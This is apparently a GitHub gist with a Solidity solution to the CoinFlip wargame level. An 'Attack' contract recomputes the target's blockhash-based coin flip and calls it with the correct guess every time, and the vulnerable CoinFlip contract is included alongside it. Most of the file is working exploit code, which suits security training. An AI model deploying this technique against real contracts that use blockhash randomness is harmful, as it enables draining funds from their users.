Created
March 7, 2023 19:41
-
-
Save gr8h/612e3bb4f5da4545ce0ae124e08022d5 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.19+commit.7dd6d404.js&optimize=false&runs=200&gist=
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract Attack { | |
CoinFlip private immutable target; | |
uint256 FACTOR = | |
57896044618658097711785492504343953926634992332820282019728792003956564819968; | |
constructor(address _targerAddr) { | |
target = CoinFlip(_targerAddr); | |
} | |
function flip() external { | |
bool g = _guess(); | |
require(target.flip(g), "failed!"); | |
} | |
function _guess() private view returns (bool) { | |
uint256 blockValue = uint256(blockhash(block.number - 1)); | |
uint256 coinFlip = blockValue / FACTOR; | |
bool side = coinFlip == 1 ? true : false; | |
return side; | |
} | |
} | |
contract CoinFlip { | |
uint256 public consecutiveWins; | |
uint256 lastHash; | |
uint256 FACTOR = | |
57896044618658097711785492504343953926634992332820282019728792003956564819968; | |
constructor() { | |
consecutiveWins = 0; | |
} | |
function flip(bool _guess) public returns (bool) { | |
uint256 blockValue = uint256(blockhash(block.number - 1)); | |
if (lastHash == blockValue) { | |
revert(); | |
} | |
lastHash = blockValue; | |
uint256 coinFlip = blockValue / FACTOR; | |
bool side = coinFlip == 1 ? true : false; | |
if (side == _guess) { | |
consecutiveWins++; | |
return true; | |
} else { | |
consecutiveWins = 0; | |
return false; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment